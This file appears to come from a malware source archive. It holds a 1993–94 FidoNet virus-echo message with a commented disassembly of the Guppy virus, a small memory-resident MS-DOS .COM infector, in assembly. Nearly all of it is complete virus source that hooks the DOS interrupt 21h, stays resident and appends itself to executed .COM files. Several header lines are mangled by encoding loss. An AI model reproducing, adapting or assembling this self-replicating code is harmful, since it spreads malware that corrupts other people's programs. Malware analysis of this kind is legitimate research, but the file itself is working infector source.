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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir30.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 20 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:13
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : GUPPY.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Mikko Hypponen, 2:283/718 (06 Nov 94 16:39)
;* To : Brad Frazee
;* Subj : GUPPY.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Mikko.Hypponen@f718.n283.z2.fidonet.org
;***************************************************************************
;* The Guppy Virus *
;* Disassembly by Black Wolf *
;***************************************************************************
;* The Guppy virus is a relatively simple, very small, resident .COM *
;*infector. It uses the standard way for a regular program to go resident *
;*(i.e. Int 27) which makes the infected program terminate the first time *
;*run. After that, however, infected files will run perfectly. This virus*
;*uses interesting methods to restore the storage bytes, as well as a *
;*strange technique to restore control to an infected file after it has *
;*already gone memory resident. *
;* *
;*Note: The Guppy virus was originally assembled with an assembler other *
;* than Tasm, so to keep it exactly the same some commands must be *
;* entered directly as individual bytes. In these cases, the command *
;* is commented out and the bytes are found below it. *
;* *
;***************************************************************************
.model tiny
.radix 16
.code
org 100h
start:
call Get_Offset
Get_Offset:
pop si ;SI = offset of vir +
;(Get_Offset-Start)
mov ax,3521h
mov bx,ax
int 21h ;Get Int 21 Address
mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21
mov ds:[si+Int_21_Segment-103],es
;mov dx,si ;Bytes vary between assemblers
db 89,0f2
;add dx,offset Int_21_Handler-104
db 83,0c2,1f
mov ah,25h
int 21h ;Set Int 21
inc dh ;Add 100h bytes to go resident
;from handler
push cs
pop es
int 27h ;Terminate & stay resident
Int_21_Handler:
cmp ax,4B00h ;Is call a Load & Execute?
je Infect ;Yes? Jump Infect
cmp al,21h ;Might it be a residency check?
jne Go_Int_21 ;No? Restore control to Int 21
;cmp ax,bx ;Are AX and BX the same?
db 39,0d8
jne Go_Int_21 ;No, Restore control to Int 21
push word ptr [si+3dh] ;3dh = offset of Storage_Bytes -
;Get_Offset
;This gets the first word of
;storage bytes, which is then
;popped to CS:100 to restore it.
mov bx,offset ds:[100] ;100 = Beginning of COM
pop word ptr [bx]
mov cl,[si+3Fh] ;Restore third storage byte.
mov [bx+2],cl
Restore_Control:
pop cx
push bx
iret ;Jump back to Host program.
Storage_Bytes db 0, 0, 0
Infect:
push ax
push bx
push dx
push ds
mov ax,3D02h
int 21h ;Open File for Read/Write Access
xchg ax,bx
call Get_Offset_Two
Get_Offset_Two:
pop si
push cs
pop ds
mov ah,3F
mov cx,3
sub si,10 ;Set SI=Storage_Bytes
;mov dx,si
db 89,0f2
int 21h ;Read first 3 bytes of file
cmp byte ptr [si],0E9h ;Is the first command a jump?
jne Close_File ;No? Jump to Close_File
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h ;Go to end of file
xchg ax,di
mov ah,40h
mov cl,98h ;Virus Size
;mov dx,si
db 89,0f2
sub dx,40h ;Beginning of virus
int 21h ;Append virus to new host
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;Go back to beginning of file
mov cl,3
;sub di,cx
db 29,0cf
mov [si+1],di
mov ah,40h
;mov dx,si
db 89,0f2
int 21h ;Write 3 byte jump to file
Close_File:
mov ah,3Eh
int 21h
pop ds
pop dx
pop bx
pop ax
Go_Int_21:
db 0EAh ;Go On With Int 21
Int_21_Offset dw ?
Int_21_Segment dw ?
end start
;-+- UC2 Support France
; + Origin: NETTIS Public Acces Internet (603)432-2517 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/d Warn if duplicate symbols in libraries
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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